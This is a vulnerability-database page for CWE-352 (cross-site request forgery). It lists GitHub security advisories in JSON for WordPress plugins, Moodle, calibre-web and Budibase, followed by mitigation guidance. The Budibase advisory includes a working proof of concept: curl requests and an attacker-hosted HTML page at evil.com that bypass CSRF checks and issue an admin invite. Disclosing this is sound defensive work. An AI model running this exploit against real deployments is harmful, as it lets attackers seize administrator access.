CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14157 vulnerabilities reference this CWE, most recent first.
GHSA-WXFF-8G4P-XJ2G
Vulnerability from github – Published: 2022-11-07 12:00 – Updated: 2022-11-09 12:00The Role Based Pricing for WooCommerce WordPress plugin before 1.6.2 does not have authorisation and proper CSRF checks, and does not validate files to be uploaded, allowing any authenticated users like subscriber to upload arbitrary files, such as PHP
{
"affected": [],
"aliases": [
"CVE-2022-3537"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-07T10:15:00Z",
"severity": "HIGH"
},
"details": "The Role Based Pricing for WooCommerce WordPress plugin before 1.6.2 does not have authorisation and proper CSRF checks, and does not validate files to be uploaded, allowing any authenticated users like subscriber to upload arbitrary files, such as PHP",
"id": "GHSA-wxff-8g4p-xj2g",
"modified": "2022-11-09T12:00:19Z",
"published": "2022-11-07T12:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3537"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/696868f7-409d-422d-87f4-92fc6bf6e74e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXGW-5PP3-7R6X
Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2024-02-29 03:33The ImageRecycle pdf & image compression plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.13. This is due to missing or incorrect nonce validation on the optimizeAllOn function. This makes it possible for unauthenticated attackers to modify image optimization settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2024-1336"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-29T01:43:48Z",
"severity": "MODERATE"
},
"details": "The ImageRecycle pdf \u0026 image compression plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.13. This is due to missing or incorrect nonce validation on the optimizeAllOn function. This makes it possible for unauthenticated attackers to modify image optimization settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-wxgw-5pp3-7r6x",
"modified": "2024-02-29T03:33:16Z",
"published": "2024-02-29T03:33:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1336"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3031424/imagerecycle-pdf-image-compression"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ca4cf299-9dee-4ebf-83f3-4c3471bd9fb0?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WXHJ-H7R3-73W2
Vulnerability from github – Published: 2025-02-13 15:31 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in wibiya Wibiya Toolbar allows Cross Site Request Forgery. This issue affects Wibiya Toolbar: from n/a through 2.0.
{
"affected": [],
"aliases": [
"CVE-2025-26571"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-13T14:16:23Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in wibiya Wibiya Toolbar allows Cross Site Request Forgery. This issue affects Wibiya Toolbar: from n/a through 2.0.",
"id": "GHSA-wxhj-h7r3-73w2",
"modified": "2026-04-01T18:33:37Z",
"published": "2025-02-13T15:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26571"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wibiya/vulnerability/wordpress-wibiya-toolbar-plugin-2-0-csrf-to-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WXJ8-3MJF-2FC3
Vulnerability from github – Published: 2025-12-05 06:31 – Updated: 2025-12-05 06:31The Norby AI plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to missing nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2025-13362"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-05T05:16:58Z",
"severity": "MODERATE"
},
"details": "The Norby AI plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to missing nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin\u0027s settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-wxj8-3mjf-2fc3",
"modified": "2025-12-05T06:31:30Z",
"published": "2025-12-05T06:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13362"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/norby-ai/tags/1.0.3/api/save.php#L23"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/norby-ai/trunk/api/save.php#L23"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7dc6f6e2-6777-4056-95d0-e3d3e7ad7a22?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WXJF-25CC-8VG7
Vulnerability from github – Published: 2023-07-01 06:30 – Updated: 2024-04-04 05:20The Dokan plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.0.8. This is due to missing or incorrect nonce validation on the handle_order_export() function. This makes it possible for unauthenticated attackers to trigger an order export via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2020-36748"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-01T06:15:09Z",
"severity": "MODERATE"
},
"details": "The Dokan plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.0.8. This is due to missing or incorrect nonce validation on the handle_order_export() function. This makes it possible for unauthenticated attackers to trigger an order export via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-wxjf-25cc-8vg7",
"modified": "2024-04-04T05:20:09Z",
"published": "2023-07-01T06:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36748"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/25-wordpress-plugins-vulnerable-to-csrf-attacks"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/more-wordpress-plugins-and-themes-vulnerable-to-csrf-attacks"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-1"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-2"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-3"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-4"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-5"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2368433/dokan-lite/trunk/includes/Dashboard/Templates/Orders.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/894c875a-078f-4c1f-83d2-4a6e4a309c3e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WXMF-934R-38MX
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:48The wp-rollback plugin before 1.2.3 for WordPress has CSRF.
{
"affected": [],
"aliases": [
"CVE-2015-9343"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-27T12:15:00Z",
"severity": "HIGH"
},
"details": "The wp-rollback plugin before 1.2.3 for WordPress has CSRF.",
"id": "GHSA-wxmf-934r-38mx",
"modified": "2024-04-04T01:48:19Z",
"published": "2022-05-24T16:54:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9343"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-rollback/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXMQ-V9GX-75PG
Vulnerability from github – Published: 2023-03-23 21:30 – Updated: 2024-04-19 15:30The link to reset all templates of a database activity did not include the necessary token to prevent a CSRF risk.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28335"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-23T23:08:33Z",
"nvd_published_at": "2023-03-23T21:15:00Z",
"severity": "HIGH"
},
"details": "The link to reset all templates of a database activity did not include the necessary token to prevent a CSRF risk.",
"id": "GHSA-wxmq-v9gx-75pg",
"modified": "2024-04-19T15:30:46Z",
"published": "2023-03-23T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28335"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/355556c05f4a6d9e223164eff820cd34eb70cc35"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2179424"
},
{
"type": "WEB",
"url": "https://git.moodle.org/gw?p=moodle.git;a=commitdiff;h=355556c05f4a6d9e223164eff820cd34eb70cc35"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=445067"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Moodle vulnerable to Cross-site Request Forgery"
}
GHSA-WXPM-6QQJ-JG73
Vulnerability from github – Published: 2023-05-10 06:30 – Updated: 2024-04-04 03:58Cross-site request forgery (CSRF) vulnerability in LIQUID SPEECH BALLOON versions prior to 1.2 allows a remote unauthenticated attacker to hijack the authentication of a user and to perform unintended operations by having a user view a malicious page.
{
"affected": [],
"aliases": [
"CVE-2023-27889"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T06:15:14Z",
"severity": "HIGH"
},
"details": "Cross-site request forgery (CSRF) vulnerability in LIQUID SPEECH BALLOON versions prior to 1.2 allows a remote unauthenticated attacker to hijack the authentication of a user and to perform unintended operations by having a user view a malicious page.",
"id": "GHSA-wxpm-6qqj-jg73",
"modified": "2024-04-04T03:58:38Z",
"published": "2023-05-10T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27889"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN99657911"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/liquid-speech-balloon/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXQ7-X3QP-VCR8
Vulnerability from github – Published: 2026-06-12 18:23 – Updated: 2026-06-12 18:23Summary
The buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.
CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in server/middleware/utils.ts but left backend-core/middleware/matchers.ts untouched.
Details
Root cause — packages/backend-core/src/middleware/matchers.ts:
export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => {
return patterns.map(pattern => {
let route = pattern.route
// replaces :param segments with /.*
const matches = route.match(PARAM_REGEX)
if (matches) {
for (let match of matches) {
const suffix = match.endsWith("/") ? "/" : ""
route = route.replace(match, "/.*" + suffix)
}
}
return { regex: new RegExp(route), method, route }
// ^ no ^ anchor, no $ anchor — matches anywhere in string
})
}
export const matches = (ctx: Ctx, options: RegexMatcher[]) => {
return options.find(({ regex, method }) => {
const urlMatch = regex.test(ctx.request.url) // full URL including query string
const methodMatch = method === "ALL" ? true
: ctx.request.method.toLowerCase() === method.toLowerCase()
return urlMatch && methodMatch
})
}
Two compounding bugs identical to the patched CVE:
1. new RegExp(route) — no ^ start anchor, no $ end anchor.
2. ctx.request.url — full URL string including ?query=value, not just the path.
CSRF middleware — packages/backend-core/src/middleware/csrf.ts:
export function csrf(
opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }
) {
const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)
return (async (ctx: Ctx, next: Next) => {
const found = matches(ctx, noCsrfOptions)
if (found) {
return next() // <-- CSRF check entirely skipped when pattern matches
}
// ... CSRF token validation ...
}) as Middleware
}
Worker registration — packages/worker/src/api/index.ts:
const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]
// PUBLIC_ENDPOINTS includes (among others):
// { route: "/api/global/auth/:tenantId", method: "POST" }
// { route: "/api/global/users/init", method: "POST" }
// { route: "/api/system/restored", method: "POST" }
router
.use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))
buildMatcherRegex compiles "/api/global/auth/:tenantId" into the regex /api/global/auth/.* (via PARAM_REGEX replacing /:tenantId → /.*). Since the regex is unanchored, it matches the substring "/api/global/auth/" anywhere in ctx.request.url — including inside a query string parameter on a completely different endpoint.
Triggering condition:
POST /api/global/users/invite?x=/api/global/auth/evil
ctx.request.url="/api/global/users/invite?x=/api/global/auth/evil"new RegExp("/api/global/auth/.*").test(ctx.request.url)→true(substring found in query string)ctx.request.method === "POST"→truematches()returns the pattern entry → CSRF skipped- The protected user-invite POST proceeds without any CSRF token
Additional affected middleware (same matches() call):
| Middleware | Pattern list | Security effect when bypassed |
|---|---|---|
csrf() |
NO_CSRF_ENDPOINTS |
CSRF token validation skipped |
tenancy() |
NO_TENANCY_ENDPOINTS |
allowNoTenant = true, bypasses tenant ID requirement |
authenticated() |
PUBLIC_ENDPOINTS |
Marks endpoint as publicEndpoint = true |
The NO_TENANCY_ENDPOINTS entry { route: "/api/system", method: "ALL" } compiles to /api/system (no param replacement). Since method: "ALL" matches every HTTP verb and the pattern is unanchored, any request with ?x=/api/system/x in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.
PoC
Prerequisites: Victim user is logged into a Budibase Worker instance (e.g., https://budibase.target.com) in their browser. Attacker hosts a page at https://evil.com.
Step 1 — Verify CSRF is normally enforced:
# Without the bypass — CSRF token missing → rejected
curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \
-H 'Cookie: <victim_session>' \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
-v
# → HTTP 403 CSRF token mismatch
Step 2 — CSRF bypass via query string injection:
# With the bypass — append a public-route pattern in the query string
curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \
-H 'Cookie: <victim_session>' \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
-v
# → HTTP 200 OK — invite created, no CSRF token required
Step 3 — Cross-site exploitation (victim visits attacker page):
<!-- https://evil.com/csrf.html -->
<html>
<body>
<script>
fetch(
'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil',
{
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
email: 'attacker@evil.com',
roleId: 'ADMIN',
userInfo: {}
})
}
)
.then(r => r.json())
.then(d => console.log('Invite sent:', d))
</script>
</body>
</html>
When the authenticated victim visits https://evil.com/csrf.html, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches /api/global/auth/.* in the query string, skips validation, and processes the admin invite.
Impact
An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:
- User management: send admin/operator invites, delete users, modify roles
- Global configuration: update authentication settings (SSO, OIDC, SMTP), change branding
- Tenant administration: in multi-tenant instances, tenant isolation bypass via
NO_TENANCY_ENDPOINTS(/api/systemmatch) combined with the CSRF bypass allows cross-tenant administrative actions
The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version 3.32.3, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in packages/backend-core/src/middleware/matchers.ts, which was not addressed by the patch for that CVE.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/backend-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.35.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48147"
],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:23:41Z",
"nvd_published_at": "2026-05-27T18:16:27Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.\n\nCVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched.\n\n---\n\n### Details\n\n**Root cause \u2014 `packages/backend-core/src/middleware/matchers.ts`:**\n\n```typescript\nexport const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] =\u003e {\n return patterns.map(pattern =\u003e {\n let route = pattern.route\n // replaces :param segments with /.*\n const matches = route.match(PARAM_REGEX)\n if (matches) {\n for (let match of matches) {\n const suffix = match.endsWith(\"/\") ? \"/\" : \"\"\n route = route.replace(match, \"/.*\" + suffix)\n }\n }\n return { regex: new RegExp(route), method, route }\n // ^ no ^ anchor, no $ anchor \u2014 matches anywhere in string\n })\n}\n\nexport const matches = (ctx: Ctx, options: RegexMatcher[]) =\u003e {\n return options.find(({ regex, method }) =\u003e {\n const urlMatch = regex.test(ctx.request.url) // full URL including query string\n const methodMatch = method === \"ALL\" ? true\n : ctx.request.method.toLowerCase() === method.toLowerCase()\n return urlMatch \u0026\u0026 methodMatch\n })\n}\n```\n\nTwo compounding bugs identical to the patched CVE:\n1. `new RegExp(route)` \u2014 no `^` start anchor, no `$` end anchor.\n2. `ctx.request.url` \u2014 full URL string including `?query=value`, not just the path.\n\n---\n\n**CSRF middleware \u2014 `packages/backend-core/src/middleware/csrf.ts`:**\n\n```typescript\nexport function csrf(\n opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }\n) {\n const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)\n return (async (ctx: Ctx, next: Next) =\u003e {\n const found = matches(ctx, noCsrfOptions)\n if (found) {\n return next() // \u003c-- CSRF check entirely skipped when pattern matches\n }\n // ... CSRF token validation ...\n }) as Middleware\n}\n```\n\n---\n\n**Worker registration \u2014 `packages/worker/src/api/index.ts`:**\n\n```typescript\nconst NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]\n// PUBLIC_ENDPOINTS includes (among others):\n// { route: \"/api/global/auth/:tenantId\", method: \"POST\" }\n// { route: \"/api/global/users/init\", method: \"POST\" }\n// { route: \"/api/system/restored\", method: \"POST\" }\n\nrouter\n .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))\n```\n\n`buildMatcherRegex` compiles `\"/api/global/auth/:tenantId\"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` \u2192 `/.*`). Since the regex is unanchored, it matches the substring `\"/api/global/auth/\"` **anywhere** in `ctx.request.url` \u2014 including inside a query string parameter on a completely different endpoint.\n\n**Triggering condition:**\n\n```\nPOST /api/global/users/invite?x=/api/global/auth/evil\n```\n\n- `ctx.request.url` = `\"/api/global/users/invite?x=/api/global/auth/evil\"`\n- `new RegExp(\"/api/global/auth/.*\").test(ctx.request.url)` \u2192 `true` (substring found in query string)\n- `ctx.request.method === \"POST\"` \u2192 `true`\n- `matches()` returns the pattern entry \u2192 CSRF skipped\n- The protected user-invite POST proceeds without any CSRF token\n\n---\n\n**Additional affected middleware (same `matches()` call):**\n\n| Middleware | Pattern list | Security effect when bypassed |\n|---|---|---|\n| `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped |\n| `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement |\n| `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` |\n\nThe `NO_TENANCY_ENDPOINTS` entry `{ route: \"/api/system\", method: \"ALL\" }` compiles to `/api/system` (no param replacement). Since `method: \"ALL\"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.\n\n---\n\n### PoC\n\n**Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`.\n\n**Step 1 \u2014 Verify CSRF is normally enforced:**\n\n```bash\n# Without the bypass \u2014 CSRF token missing \u2192 rejected\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite\u0027 \\\n -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n -v\n# \u2192 HTTP 403 CSRF token mismatch\n```\n\n**Step 2 \u2014 CSRF bypass via query string injection:**\n\n```bash\n# With the bypass \u2014 append a public-route pattern in the query string\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027 \\\n -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n -v\n# \u2192 HTTP 200 OK \u2014 invite created, no CSRF token required\n```\n\n**Step 3 \u2014 Cross-site exploitation (victim visits attacker page):**\n\n```html\n\u003c!-- https://evil.com/csrf.html --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\n \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027,\n {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n body: JSON.stringify({\n email: \u0027attacker@evil.com\u0027,\n roleId: \u0027ADMIN\u0027,\n userInfo: {}\n })\n }\n)\n.then(r =\u003e r.json())\n.then(d =\u003e console.log(\u0027Invite sent:\u0027, d))\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim\u0027s session cookie. The Worker\u0027s CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite.\n\n---\n\n### Impact\n\nAn unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:\n\n- **User management**: send admin/operator invites, delete users, modify roles\n- **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding\n- **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions\n\nThe vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.",
"id": "GHSA-wxq7-x3qp-vcr8",
"modified": "2026-06-12T18:23:41Z",
"published": "2026-06-12T18:23:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-wxq7-x3qp-vcr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48147"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker "
}
GHSA-WXR6-29PV-CH68
Vulnerability from github – Published: 2022-01-21 23:44 – Updated: 2022-01-19 14:24calibre-web is vulnerable to Cross-Site Request Forgery (CSRF)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "calibreweb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-4164"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T14:24:33Z",
"nvd_published_at": "2022-01-17T13:15:00Z",
"severity": "HIGH"
},
"details": "calibre-web is vulnerable to Cross-Site Request Forgery (CSRF)",
"id": "GHSA-wxr6-29pv-ch68",
"modified": "2022-01-19T14:24:33Z",
"published": "2022-01-21T23:44:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4164"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/commit/785726deee13b4d56f6c3503dd57c1e3eb7d6f30"
},
{
"type": "PACKAGE",
"url": "https://github.com/janeczku/calibre-web"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/2debace1-a0f3-45c1-95fa-9d0512680758"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "calibre-web is vulnerable to Cross-Site Request Forgery (CSRF)"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
